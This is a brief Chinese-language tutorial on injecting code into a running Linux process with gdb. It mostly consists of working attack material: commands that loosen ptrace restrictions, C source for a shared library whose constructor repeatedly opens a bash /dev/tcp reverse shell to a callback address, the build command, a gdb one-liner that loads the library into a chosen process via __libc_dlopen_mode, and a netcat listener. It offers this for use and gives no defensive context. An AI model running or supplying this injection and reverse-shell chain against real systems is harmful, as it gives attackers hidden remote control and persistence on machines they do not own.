使用gdb注入进程

echo 0 > /proc/sys/kernel/yama/ptrace_scope # 允许任何进程注入代码到相同用户启动的进程中,root用户可以注入所有进程

echo 2 > /proc/sys/kernel/yama/ptrace_scope # 只允许root用户注入代码

#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>

#define SLEEP  120                    /* Time to sleep between callbacks */
#define CBADDR "127.0.0.1"           /* Callback address */
#define CBPORT "4444"                 /* Callback port */

/* Reverse shell command */
#define CMD "echo 'exec >&/dev/tcp/"\
            CBADDR "/" CBPORT "; exec 0>&1' | /bin/bash" //进行反向shell

void *callback(void *a);

__attribute__((constructor)) /* Run this function on library load */
// 在动态库加载之后运行该函数
void start_callbacks(){
        pthread_t tid;
        pthread_attr_t attr;

        /* Start thread detached */
        if (-1 == pthread_attr_init(&attr)) {
                return;
        }
        if (-1 == pthread_attr_setdetachstate(&attr,
                                PTHREAD_CREATE_DETACHED)) {
                return;
        }

        /* Spawn a thread to do the real work */
        pthread_create(&tid, &attr, callback, NULL); //创建线程
}

/* callback tries to spawn a reverse shell every so often.  */
void *
callback(void *a)
{
        for (;;) {
                /* Try to spawn a reverse shell */
                system(CMD);
                /* Wait until next shell */
                sleep(SLEEP);
        }
        return NULL;
}

cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared

ps -fxo pid,user,args | egrep -v ' \[\S+\]$'

echo 'print __libc_dlopen_mode("/root/libcallback.so", 2)' | gdb -p pid

nc -nvl 4444